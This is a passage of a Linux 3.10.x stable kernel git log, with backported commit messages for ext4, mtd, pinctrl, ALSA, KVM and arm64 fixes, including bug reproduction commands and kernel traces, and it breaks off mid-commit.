ext4: be more strict when migrating to non-extent based file commit d6f123a9297496ad0b6335fe881504c4b5b2a5e5 upstream. Currently the check in ext4_ind_migrate() is not enough before doing the real conversion: a) delayed allocated extents could bypass the check on eh->eh_entries and eh->eh_depth This can be demonstrated by this script xfs_io -fc "pwrite 0 4k" -c "pwrite 8k 4k" /mnt/ext4/testfile chattr -e /mnt/ext4/testfile where testfile has two extents but still be converted to non-extent based file format. b) only extent length is checked but not the offset, which would result in data lose (delalloc) or fs corruption (nodelalloc), because non-extent based file only supports at most (12 + 2^10 + 2^20 + 2^30) blocks This can be demostrated by xfs_io -fc "pwrite 5T 4k" /mnt/ext4/testfile chattr -e /mnt/ext4/testfile sync If delalloc is enabled, dmesg prints EXT4-fs warning (device dm-4): ext4_block_to_path:105: block 1342177280 > max in inode 53 EXT4-fs (dm-4): Delayed block allocation failed for inode 53 at logical offset 1342177280 with max blocks 1 with error 5 EXT4-fs (dm-4): This should not happen!! Data will be lost If delalloc is disabled, e2fsck -nf shows corruption Inode 53, i_size is 5497558142976, should be 4096. Fix? no Fix the two issues by a) forcing all delayed allocation blocks to be allocated before checking eh->eh_depth and eh->eh_entries b) limiting the last logical block of the extent is within direct map Signed-off-by: Eryu Guan Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1698da1ed71f3fb141cf0f8cb7ff0857d5635a91 Author: Lukas Czerner Date: Fri Jul 3 21:13:55 2015 -0400 ext4: fix reservation release on invalidatepage for delalloc fs commit 9705acd63b125dee8b15c705216d7186daea4625 upstream. On delalloc enabled file system on invalidatepage operation in ext4_da_page_release_reservation() we want to clear the delayed buffer and remove the extent covering the delayed buffer from the extent status tree. However currently there is a bug where on the systems with page size > block size we will always remove extents from the start of the page regardless where the actual delayed buffers are positioned in the page. This leads to the errors like this: EXT4-fs warning (device loop0): ext4_da_release_space:1225: ext4_da_release_space: ino 13, to_free 1 with only 0 reserved data blocks This however can cause data loss on writeback time if the file system is in ENOSPC condition because we're releasing reservation for someones else delayed buffer. Fix this by only removing extents that corresponds to the part of the page we want to invalidate. This problem is reproducible by the following fio receipt (however I was only able to reproduce it with fio-2.1 or older. [global] bs=8k iodepth=1024 iodepth_batch=60 randrepeat=1 size=1m directory=/mnt/test numjobs=20 [job1] ioengine=sync bs=1k direct=1 rw=randread filename=file1:file2 [job2] ioengine=libaio rw=randwrite direct=1 filename=file1:file2 [job3] bs=1k ioengine=posixaio rw=randwrite direct=1 filename=file1:file2 [job5] bs=1k ioengine=sync rw=randread filename=file1:file2 [job7] ioengine=libaio rw=randwrite filename=file1:file2 [job8] ioengine=posixaio rw=randwrite filename=file1:file2 [job10] ioengine=mmap rw=randwrite bs=1k filename=file1:file2 [job11] ioengine=mmap rw=randwrite direct=1 filename=file1:file2 Signed-off-by: Lukas Czerner Signed-off-by: Theodore Ts'o Reviewed-by: Jan Kara Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e82c6de0a19d8bf8bf99fcf71aea5e377c621362 Author: Darrick J. Wong Date: Sun Jun 21 21:10:51 2015 -0400 ext4: don't retry file block mapping on bigalloc fs with non-extent file commit 292db1bc6c105d86111e858859456bcb11f90f91 upstream. ext4 isn't willing to map clusters to a non-extent file. Don't signal this with an out of space error, since the FS will retry the allocation (which didn't fail) forever. Instead, return EUCLEAN so that the operation will fail immediately all the way back to userspace. (The fix is either to run e2fsck -E bmap2extent, or to chattr +e the file.) Signed-off-by: Darrick J. Wong Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a74bb660b04d4198613b2092aee7ea68503f3d9 Author: Theodore Ts'o Date: Sat Jun 20 22:50:33 2015 -0400 ext4: call sync_blockdev() before invalidate_bdev() in put_super() commit 89d96a6f8e6491f24fc8f99fd6ae66820e85c6c1 upstream. Normally all of the buffers will have been forced out to disk before we call invalidate_bdev(), but there will be some cases, where a file system operation was aborted due to an ext4_error(), where there may still be some dirty buffers in the buffer cache for the device. So try to force them out to memory before calling invalidate_bdev(). This fixes a warning triggered by generic/081: WARNING: CPU: 1 PID: 3473 at /usr/projects/linux/ext4/fs/block_dev.c:56 __blkdev_put+0xb5/0x16f() Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2831cba71772a1dce09fea9d9afdef19e9a3bf88 Author: Theodore Ts'o Date: Fri Jun 12 23:45:33 2015 -0400 ext4: fix race between truncate and __ext4_journalled_writepage() commit bdf96838aea6a265f2ae6cbcfb12a778c84a0b8e upstream. The commit cf108bca465d: "ext4: Invert the locking order of page_lock and transaction start" caused __ext4_journalled_writepage() to drop the page lock before the page was written back, as part of changing the locking order to jbd2_journal_start -> page_lock. However, this introduced a potential race if there was a truncate racing with the data=journalled writeback mode. Fix this by grabbing the page lock after starting the journal handle, and then checking to see if page had gotten truncated out from under us. This fixes a number of different warnings or BUG_ON's when running xfstests generic/086 in data=journalled mode, including: jbd2_journal_dirty_metadata: vdc-8: bad jh for block 115643: transaction (ee3fe7 c0, 164), jh->b_transaction ( (null), 0), jh->b_next_transaction ( (null), 0), jlist 0 - and - kernel BUG at /usr/projects/linux/ext4/fs/jbd2/transaction.c:2200! ... Call Trace: [] ? __ext4_journalled_invalidatepage+0x117/0x117 [] __ext4_journalled_invalidatepage+0x10f/0x117 [] ? __ext4_journalled_invalidatepage+0x117/0x117 [] ? lock_buffer+0x36/0x36 [] ext4_journalled_invalidatepage+0xd/0x22 [] do_invalidatepage+0x22/0x26 [] truncate_inode_page+0x5b/0x85 [] truncate_inode_pages_range+0x156/0x38c [] truncate_inode_pages+0x11/0x15 [] truncate_pagecache+0x55/0x71 [] ext4_setattr+0x4a9/0x560 [] ? current_kernel_time+0x10/0x44 [] notify_change+0x1c7/0x2be [] do_truncate+0x65/0x85 [] ? file_ra_state_init+0x12/0x29 - and - WARNING: CPU: 1 PID: 1331 at /usr/projects/linux/ext4/fs/jbd2/transaction.c:1396 irty_metadata+0x14a/0x1ae() ... Call Trace: [] ? console_unlock+0x3a1/0x3ce [] dump_stack+0x48/0x60 [] warn_slowpath_common+0x89/0xa0 [] ? jbd2_journal_dirty_metadata+0x14a/0x1ae [] warn_slowpath_null+0x14/0x18 [] jbd2_journal_dirty_metadata+0x14a/0x1ae [] __ext4_handle_dirty_metadata+0xd4/0x19d [] write_end_fn+0x40/0x53 [] ext4_walk_page_buffers+0x4e/0x6a [] ext4_writepage+0x354/0x3b8 [] ? mpage_release_unused_pages+0xd4/0xd4 [] ? wait_on_buffer+0x2c/0x2c [] ? ext4_writepage+0x3b8/0x3b8 [] __writepage+0x10/0x2e [] write_cache_pages+0x22d/0x32c [] ? ext4_writepage+0x3b8/0x3b8 [] ext4_writepages+0x102/0x607 [] ? sched_clock_local+0x10/0x10e [] ? __lock_is_held+0x2e/0x44 [] ? lock_is_held+0x43/0x51 [] do_writepages+0x1c/0x29 [] __writeback_single_inode+0xc3/0x545 [] writeback_sb_inodes+0x21f/0x36d ... Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit daa8482cd27aaf71919cac67b537ff757c0d0dc0 Author: Haggai Eran Date: Sat May 23 23:13:51 2015 +0300 staging: rtl8712: prevent buffer overrun in recvbuf2recvframe commit cab462140f8a183e3cca0b51c8b59ef715cb6148 upstream. With an RTL8191SU USB adaptor, sometimes the hints for a fragmented packet are set, but the packet length is too large. Allocate enough space to prevent memory corruption and a resulting kernel panic [1]. [1] http://www.spinics.net/lists/linux-wireless/msg136546.html Signed-off-by: Haggai Eran ACKed-by: Larry Finger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e62e3d4b446711d1e3cc8aa927707a9f212832a8 Author: Felix Fietkau Date: Tue Jun 2 10:38:32 2015 +0200 ath9k: fix DMA stop sequence for AR9003+ commit 300f77c08ded96d33f492aaa02549103852f0c12 upstream. AR93xx and newer needs to stop rx before tx to avoid getting the DMA engine or MAC into a stuck state. This should reduce/fix the occurence of "Failed to stop Tx DMA" logspam. Signed-off-by: Felix Fietkau Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9e962658630e0ae8186b3647351eefa2e0bbbfc7 Author: Marcel Holtmann Date: Sun Jun 7 09:42:19 2015 +0200 Bluetooth: btusb: Fix memory leak in Intel setup routine commit ecffc80478cdce122f0ecb6a4e4f909132dd5c47 upstream. The SKB returned from the Intel specific version information command is missing a kfree_skb. Signed-off-by: Marcel Holtmann Signed-off-by: Johan Hedberg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 575c8f99f8f65959fa66ed4746f0a60a95176871 Author: Thomas Petazzoni Date: Tue Jun 9 18:46:58 2015 +0200 pinctrl: mvebu: armada-xp: fix functions of MPP48 commit ea78b9511a54d0de026e04b5da86b30515072f31 upstream. There was a mistake in the definition of the functions for MPP48 on Marvell Armada XP. The second function is dev(clkout), and not tclk. Signed-off-by: Thomas Petazzoni Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 016053cb8bec7287a30ecb65654503bc452e030e Author: Thomas Petazzoni Date: Tue Jun 9 18:46:57 2015 +0200 pinctrl: mvebu: armada-xp: remove non-existing VDD cpu_pd functions commit 80b3d04feab5e69d51cb2375eb989a7165e43e3b upstream. The latest version of the Armada XP datasheet no longer documents the VDD cpu_pd functions, which might indicate they are not working and/or not supported. This commit ensures the pinctrl driver matches the datasheet. Signed-off-by: Thomas Petazzoni Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3d25c11fd3230eccbf84247d91d0c655d040fd5e Author: Thomas Petazzoni Date: Tue Jun 9 18:46:56 2015 +0200 pinctrl: mvebu: armada-xp: remove non-existing NAND pins commit bc99357f3690c11817756adfee0ece811a3db2e7 upstream. After updating to a more recent version of the Armada XP datasheet, we realized that some of the pins documented as having a NAND-related functionality in fact did not have such functionality. This commit updates the pinctrl driver accordingly. Signed-off-by: Thomas Petazzoni Fixes: 463e270f766a ("pinctrl: mvebu: add pinctrl driver for Armada XP") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fa719598b024b156067b35ed2259695c7fcc5249 Author: Thomas Petazzoni Date: Tue Jun 9 18:46:54 2015 +0200 pinctrl: mvebu: armada-370: fix spi0 pin description commit 438881dfddb9107ef0eb30b49368e91e092f0b3e upstream. Due to a mistake, the CS0 and CS1 SPI0 functions were incorrectly named "spi0-1" instead of just "spi0". This commit fixes that. This DT binding change does not affect any of the in-tree users. Signed-off-by: Thomas Petazzoni Fixes: 5f597bb2be57 ("pinctrl: mvebu: add pinctrl driver for Armada 370") Signed-off-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 023f0d74b8192bb0b5890126fdc441051a668b7e Author: Uwe Kleine-König Date: Thu May 28 10:22:10 2015 +0200 mtd: dc21285: use raw spinlock functions for nw_gpio_lock commit e5babdf928e5d0c432a8d4b99f20421ce14d1ab6 upstream. Since commit bd31b85960a7 (which is in 3.2-rc1) nw_gpio_lock is a raw spinlock that needs usage of the corresponding raw functions. This fixes: drivers/mtd/maps/dc21285.c: In function 'nw_en_write': drivers/mtd/maps/dc21285.c:41:340: warning: passing argument 1 of 'spinlock_check' from incompatible pointer type spin_lock_irqsave(&nw_gpio_lock, flags); In file included from include/linux/seqlock.h:35:0, from include/linux/time.h:5, from include/linux/stat.h:18, from include/linux/module.h:10, from drivers/mtd/maps/dc21285.c:8: include/linux/spinlock.h:299:102: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *' static inline raw_spinlock_t *spinlock_check(spinlock_t *lock) ^ drivers/mtd/maps/dc21285.c:43:25: warning: passing argument 1 of 'spin_unlock_irqrestore' from incompatible pointer type spin_unlock_irqrestore(&nw_gpio_lock, flags); ^ In file included from include/linux/seqlock.h:35:0, from include/linux/time.h:5, from include/linux/stat.h:18, from include/linux/module.h:10, from drivers/mtd/maps/dc21285.c:8: include/linux/spinlock.h:370:91: note: expected 'struct spinlock_t *' but argument is of type 'struct raw_spinlock_t *' static inline void spin_unlock_irqrestore(spinlock_t *lock, unsigned long flags) Fixes: bd31b85960a7 ("locking, ARM: Annotate low level hw locks as raw") Signed-off-by: Uwe Kleine-König Signed-off-by: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e47c51c6db83b914d251ed8cfc26a467bdf64ed3 Author: Brian Norris Date: Thu May 7 17:55:16 2015 -0700 mtd: fix: avoid race condition when accessing mtd->usecount commit 073db4a51ee43ccb827f54a4261c0583b028d5ab upstream. On A MIPS 32-cores machine a BUG_ON was triggered because some acesses to mtd->usecount were done without taking mtd_table_mutex. kernel: Call Trace: kernel: [] __put_mtd_device+0x20/0x50 kernel: [] blktrans_release+0x8c/0xd8 kernel: [] __blkdev_put+0x1a8/0x200 kernel: [] blkdev_close+0x1c/0x30 kernel: [] __fput+0xac/0x250 kernel: [] task_work_run+0xd8/0x120 kernel: [] work_notifysig+0x10/0x18 kernel: kernel: Code: 2442ffff ac8202d8 000217fe <00020336> dc820128 10400003 00000000 0040f809 00000000 kernel: ---[ end trace 080fbb4579b47a73 ]--- Fixed by taking the mutex in blktrans_open and blktrans_release. Note that this locking is already suggested in include/linux/mtd/blktrans.h: struct mtd_blktrans_ops { ... /* Called with mtd_table_mutex held; no race with add/remove */ int (*open)(struct mtd_blktrans_dev *dev); void (*release)(struct mtd_blktrans_dev *dev); ... }; But we weren't following it. Originally reported by (and patched by) Zhang and Giuseppe, independently. Improved and rewritten. Reported-by: Zhang Xingcai Reported-by: Giuseppe Cantavenera Tested-by: Giuseppe Cantavenera Acked-by: Alexander Sverdlin Signed-off-by: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fa0c2003fb43369ae401756952a4342b8aab1ebc Author: Ezequiel Garcia Date: Mon May 11 12:20:18 2015 -0300 spi: pl022: Specify 'num-cs' property as required in devicetree binding commit ea6055c46eda1e19e02209814955e13f334bbe1b upstream. Since commit 39a6ac11df65 ("spi/pl022: Devicetree support w/o platform data") the 'num-cs' parameter cannot be passed through platform data when probing with devicetree. Instead, it's a required devicetree property. Fix the binding documentation so the property is properly specified. Fixes: 39a6ac11df65 ("spi/pl022: Devicetree support w/o platform data") Signed-off-by: Ezequiel Garcia Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8fa945de57a070abdb5c53770284c2a42390df0e Author: Stefan Wahren Date: Tue Jun 9 20:09:42 2015 +0000 regulator: core: fix constraints output buffer commit a7068e3932eee8268c4ce4e080a338ee7b8a27bf upstream. The buffer for condtraints debug isn't big enough to hold the output in all cases. So fix this issue by increasing the buffer. Signed-off-by: Stefan Wahren Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b9f8ca9905a30fdabc0d7af320eba833d76a79b4 Author: Arun Chandran Date: Mon Jun 15 15:59:02 2015 +0530 regmap: Fix regmap_bulk_read in BE mode commit 15b8d2c41fe5839582029f65c5f7004db451cc2b upstream. In big endian mode regmap_bulk_read gives incorrect data for byte reads. This is because memcpy of a single byte from an address after full word read gives different results when endianness differs. ie. we get little-end in LE and big-end in BE. Signed-off-by: Arun Chandran Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dd0addd587930a57a665157f24dd0d576f4ae0e3 Author: Rafael J. Wysocki Date: Thu May 1 00:14:04 2014 +0200 cpuidle / menu: Return (-1) if there are no suitable states commit 3836785a1bdcd6706c68ad46bf53adc0b057b310 upstream. If there is a PM QoS latency limit and all of the sufficiently shallow C-states are disabled, the cpuidle menu governor returns 0 which on some systems is CPUIDLE_DRIVER_STATE_START and shouldn't be returned if that C-state has been disabled. Fix the issue by modifying the menu governor to return (-1) in such situations. Signed-off-by: Rafael J. Wysocki [shilpab: Backport to 3.10.y - adjust context - add a check if 'next_state' is less than 0 in 'cpuidle_idle_call()', this ensures that we exit 'cpuidle_idle_call()' if governor->select() returns negative value] Signed-off-by: Shilpasri G Bhat Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ac834b1e77b8ea492d0dd380dbb5340773f168ee Author: Will Deacon Date: Fri Jun 19 13:56:33 2015 +0100 arm64: vdso: work-around broken ELF toolchains in Makefile commit 6f1a6ae87c0c60d7c462ef8fd071f291aa7a9abb upstream. When building the kernel with a bare-metal (ELF) toolchain, the -shared option may not be passed down to collect2, resulting in silent corruption of the vDSO image (in particular, the DYNAMIC section is omitted). The effect of this corruption is that the dynamic linker fails to find the vDSO symbols and libc is instead used for the syscalls that we intended to optimise (e.g. gettimeofday). Functionally, there is no issue as the sigreturn trampoline is still intact and located by the kernel. This patch fixes the problem by explicitly passing -shared to the linker when building the vDSO. Reported-by: Szabolcs Nagy Reported-by: James Greenlaigh Signed-off-by: Will Deacon Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 379c7eabf1562c4ebc4d7cf3ee4e6fce2c01d3ab Author: Dave P Martin Date: Tue Jun 16 17:38:47 2015 +0100 arm64: mm: Fix freeing of the wrong memmap entries with !SPARSEMEM_VMEMMAP commit b9bcc919931611498e856eae9bf66337330d04cc upstream. The memmap freeing code in free_unused_memmap() computes the end of each memblock by adding the memblock size onto the base. However, if SPARSEMEM is enabled then the value (start) used for the base may already have been rounded downwards to work out which memmap entries to free after the previous memblock. This may cause memmap entries that are in use to get freed. In general, you're not likely to hit this problem unless there are at least 2 memblocks and one of them is not aligned to a sparsemem section boundary. Note that carve-outs can increase the number of memblocks by splitting the regions listed in the device tree. This problem doesn't occur with SPARSEMEM_VMEMMAP, because the vmemmap code deals with freeing the unused regions of the memmap instead of requiring the arch code to do it. This patch gets the memblock base out of the memblock directly when computing the block end address to ensure the correct value is used. Signed-off-by: Dave Martin Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6acfba4522483626021b02940aed8637f63ad59f Author: Catalin Marinas Date: Fri Jun 12 11:24:41 2015 +0100 arm64: Do not attempt to use init_mm in reset_context() commit 565630d503ef24e44c252bed55571b3a0d68455f upstream. After secondary CPU boot or hotplug, the active_mm of the idle thread is &init_mm. The init_mm.pgd (swapper_pg_dir) is only meant for TTBR1_EL1 and must not be set in TTBR0_EL1. Since when active_mm == &init_mm the TTBR0_EL1 is already set to the reserved value, there is no need to perform any context reset. Signed-off-by: Catalin Marinas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e7cb800d5455218d413e7c634feb52ebc323498f Author: Vineet Gupta Date: Thu Nov 13 15:54:01 2014 +0530 ARC: add compiler barrier to LLSC based cmpxchg commit d57f727264f1425a94689bafc7e99e502cb135b5 upstream. When auditing cmpxchg call sites, Chuck noted that gcc was optimizing away some of the desired LDs. | do { | new = old = *ipi_data_ptr; | new |= 1U << msg; | } while (cmpxchg(ipi_data_ptr, old, new) != old); was generating to below | 8015cef8: ld r2,[r4,0] <-- First LD | 8015cefc: bset r1,r2,r1 | | 8015cf00: llock r3,[r4] <-- atomic op | 8015cf04: brne r3,r2,8015cf10 | 8015cf08: scond r1,[r4] | 8015cf0c: bnz 8015cf00 | | 8015cf10: brne r3,r2,8015cf00 <-- Branch doesn't go to orig LD Although this was fixed by adding a ACCESS_ONCE in this call site, it seems safer (for now at least) to add compiler barrier to LLSC based cmpxchg Reported-by: Chuck Jordan Acked-by: Peter Zijlstra (Intel) Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 038e4c91fc2eed6e0e049b9f4ee1166e898468da Author: Takashi Iwai Date: Mon Jun 29 08:38:02 2015 +0200 ALSA: hda - Fix the dock headphone output on Fujitsu Lifebook E780 commit 4df3fd1700abbb53bd874143dfd1f9ac9e7cbf4b upstream. Fujitsu Lifebook E780 sets the sequence number 0x0f to only only of the two headphones, thus the driver tries to assign another as the line-out, and this results in the inconsistent mapping between the created jack ctl and the actual I/O. Due to this, PulseAudio doesn't handle it properly and gets the silent output. The fix is to ignore the non-HP sequencer checks. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=99681 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8cea5ec40d7bfd619a57130e6064dfb1c9f7fb64 Author: Takashi Iwai Date: Sat Jun 27 10:21:13 2015 +0200 ALSA: hda - Add headset support to Acer Aspire V5 commit 7819717b11346b8a5420b223b46600e394049c66 upstream. Acer Aspire V5 with ALC282 codec needs the similar quirk like Dell laptops to support the headset mic. The headset mic pin is 0x19 and it's not exposed by BIOS, thus we need to fix the pincfg as well. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=96201 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 068777ef19c4664892855e8820781ebb8748e670 Author: Ryan Underwood Date: Sun Jan 25 16:07:09 2015 -0800 Disable write buffering on Toshiba ToPIC95 commit 2fb22a8042fe96b4220843f79241c116d90922c4 upstream. Disable write buffering on the Toshiba ToPIC95 if it is enabled by somebody (it is not supposed to be a power-on default according to the datasheet). On the ToPIC95, practically no 32-bit Cardbus card will work under heavy load without locking up the whole system if this is left enabled. I tried about a dozen. It does not affect 16-bit cards. This is similar to the O2 bugs in early controller revisions it seems. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=55961 Signed-off-by: Ryan C. Underwood Signed-off-by: Dominik Brodowski Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4d57a537ea0ceeabefd94d69c5560b88b6e6832b Author: Brian King Date: Wed May 13 08:50:27 2015 -0500 ipr: Increase default adapter init stage change timeout commit 45c44b5ff9caa743ed9c2bfd44307c536c9caf1e upstream. Increase the default init stage change timeout from 15 seconds to 30 seconds. This resolves issues we have seen with some adapters not transitioning to the first init stage within 15 seconds, which results in adapter initialization failures. Signed-off-by: Brian King Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fddf25c971b61427598efbf60c3635746a37930f Author: Greg Kroah-Hartman Date: Fri Jul 10 10:40:38 2015 -0700 Linux 3.10.84 Signed-off-by: Pranav Vashi commit 48704b2bd85ef7e9d4ca2946475497b2ab006695 Author: Jan Kara Date: Thu May 21 16:05:52 2015 +0200 fs: Fix S_NOSEC handling commit 2426f3910069ed47c0cc58559a6d088af7920201 upstream. file_remove_suid() could mistakenly set S_NOSEC inode bit when root was modifying the file. As a result following writes to the file by ordinary user would avoid clearing suid or sgid bits. Fix the bug by checking actual mode bits before setting S_NOSEC. Signed-off-by: Jan Kara Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 84d7362d783c93feac5d72fc6a4248fe6b5c5d0c Author: Radim KrÄmář Date: Wed Jul 1 15:31:49 2015 +0200 KVM: x86: make vapics_in_nmi_mode atomic commit 42720138b06301cc8a7ee8a495a6d021c4b6a9bc upstream. Writes were a bit racy, but hard to turn into a bug at the same time. (Particularly because modern Linux doesn't use this feature anymore.) Signed-off-by: Radim KrÄmář [Actually the next patch makes it much, much easier to trigger the race so I'm including this one for stable@ as well. - Paolo] Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 97dd9ec7359164aa6a2facfdf5ce58d524a7dbad Author: James Hogan Date: Mon Apr 27 15:07:16 2015 +0100 MIPS: Fix KVM guest fixmap address commit 8e748c8d09a9314eedb5c6367d9acfaacddcdc88 upstream. KVM guest kernels for trap & emulate run in user mode, with a modified set of kernel memory segments. However the fixmap address is still in the normal KSeg3 region at 0xfffe0000 regardless, causing problems when cache alias handling makes use of them when handling copy on write. Therefore define FIXADDR_TOP as 0x7ffe0000 in the guest kernel mapped region when CONFIG_KVM_GUEST is defined. Signed-off-by: James Hogan Cc: linux-mips@linux-mips.org Patchwork: https://patchwork.linux-mips.org/patch/9887/ Signed-off-by: Ralf Baechle Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6526ad1f8f2cffa5ee16784e226aba14b1a6ebe6 Author: Bjorn Helgaas Date: Tue Jun 9 18:54:07 2015 -0500 x86/PCI: Use host bridge _CRS info on Foxconn K8M890-8237A commit 1dace0116d0b05c967d94644fc4dfe96be2ecd3d upstream. The Foxconn K8M890-8237A has two PCI host bridges, and we can't assign resources correctly without the information from _CRS that tells us which address ranges are claimed by which bridge. In the bugs mentioned below, we incorrectly assign a sound card address (this example is from 1033299): bus: 00 index 2 [mem 0x80000000-0xfcffffffff] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-7f]) pci_root PNP0A08:00: host bridge window [mem 0x80000000-0xbfefffff] (ignored) pci_root PNP0A08:00: host bridge window [mem 0xc0000000-0xdfffffff] (ignored) pci_root PNP0A08:00: host bridge window [mem 0xf0000000-0xfebfffff] (ignored) ACPI: PCI Root Bridge [PCI1] (domain 0000 [bus 80-ff]) pci_root PNP0A08:01: host bridge window [mem 0xbff00000-0xbfffffff] (ignored) pci 0000:80:01.0: [1106:3288] type 0 class 0x000403 pci 0000:80:01.0: reg 10: [mem 0xbfffc000-0xbfffffff 64bit] pci 0000:80:01.0: address space collision: [mem 0xbfffc000-0xbfffffff 64bit] conflicts with PCI Bus #00 [mem 0x80000000-0xfcffffffff] pci 0000:80:01.0: BAR 0: assigned [mem 0xfd00000000-0xfd00003fff 64bit] BUG: unable to handle kernel paging request at ffffc90000378000 IP: [] azx_create+0x37c/0x822 [snd_hda_intel] We assigned 0xfd_0000_0000, but that is not in any of the host bridge windows, and the sound card doesn't work. Turn on pci=use_crs automatically for this system. Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/931368 Link: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1033299 Signed-off-by: Bjorn Helgaas Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65ecf2ace8b4006a2fa62b65577388deb5688035 Author: Anton Blanchard Date: Tue May 26 15:10:24 2015 +1000 powerpc/perf: Fix book3s kernel to userspace backtraces commit 72e349f1124a114435e599479c9b8d14bfd1ebcd upstream. When we take a PMU exception or a software event we call perf_read_regs(). This overloads regs->result with a boolean that describes if we should use the sampled instruction address register (SIAR) or the regs. If the exception is in kernel, we start with the kernel regs and backtrace through the kernel stack. At this point we switch to the userspace regs and backtrace the user stack with perf_callchain_user(). Unfortunately these regs have not got the perf_read_regs() treatment, so regs->result could be anything. If it is non zero, perf_instruction_pointer() decides to use the SIAR, and we get issues like this: 0.11% qemu-system-ppc [kernel.kallsyms] [k] _raw_spin_lock_irqsave | ---_raw_spin_lock_irqsave | |--52.35%-- 0 | | | |--46.39%-- __hrtimer_start_range_ns | | kvmppc_run_core | | kvmppc_vcpu_run_hv | | kvmppc_vcpu_run | | kvm_arch_vcpu_ioctl_run | | kvm_vcpu_ioctl | | do_vfs_ioctl | | sys_ioctl | | system_call | | | | | |--67.08%-- _raw_spin_lock_irqsave <--- hi mum | | | | | | | --100.00%-- 0x7e714 | | | 0x7e714 Notice the bogus _raw_spin_irqsave when we transition from kernel (system_call) to userspace (0x7e714). We inserted what was in the SIAR. Add a check in regs_use_siar() to check that the regs in question are from a PMU exception. With this fix the backtrace makes sense: 0.47% qemu-system-ppc [kernel.vmlinux] [k] _raw_spin_lock_irqsave | ---_raw_spin_lock_irqsave | |--53.83%-- 0 | | | |--44.73%-- hrtimer_try_to_cancel | | kvmppc_start_thread | | kvmppc_run_core | | kvmppc_vcpu_run_hv | | kvmppc_vcpu_run | | kvm_arch_vcpu_ioctl_run | | kvm_vcpu_ioctl | | do_vfs_ioctl | | sys_ioctl | | system_call | | __ioctl | | 0x7e714 | | 0x7e714 Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ebff8b024ae5de5553a56ab94fb8c2289007c7e Author: Marc Zyngier Date: Mon Mar 16 10:59:43 2015 +0000 arm: KVM: force execution of HCPTR access on VM exit commit 85e84ba31039595995dae80b277378213602891b upstream. On VM entry, we disable access to the VFP registers in order to perform a lazy save/restore of these registers. On VM exit, we restore access, test if we did enable them before, and save/restore the guest/host registers if necessary. In this sequence, the FPEXC register is always accessed, irrespective of the trapping configuration. If the guest didn't touch the VFP registers, then the HCPTR access has now enabled such access, but we're missing a barrier to ensure architectural execution of the new HCPTR configuration. If the HCPTR access has been delayed/reordered, the subsequent access to FPEXC will cause a trap, which we aren't prepared to handle at all. The same condition exists when trapping to enable VFP for the guest. The fix is to introduce a barrier after enabling VFP access. In the vmexit case, it can be relaxed to only takes place if the guest hasn't accessed its view of the VFP registers, making the access to FPEXC safe. The set_hcptr macro is modified to deal with both vmenter/vmexit and vmtrap operations, and now takes an optional label that is branched to when the guest hasn't touched the VFP registers. Reported-by: Vikram Sethi Signed-off-by: Marc Zyngier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ca4671871815a5002b8ea54a9cf16546fbf906c1 Author: Horia Geant? Date: Mon May 11 20:04:49 2015 +0300 Revert "crypto: talitos - convert to use be16_add_cpu()" commit 69d9cd8c592f1abce820dbce7181bbbf6812cfbd upstream. This reverts commit 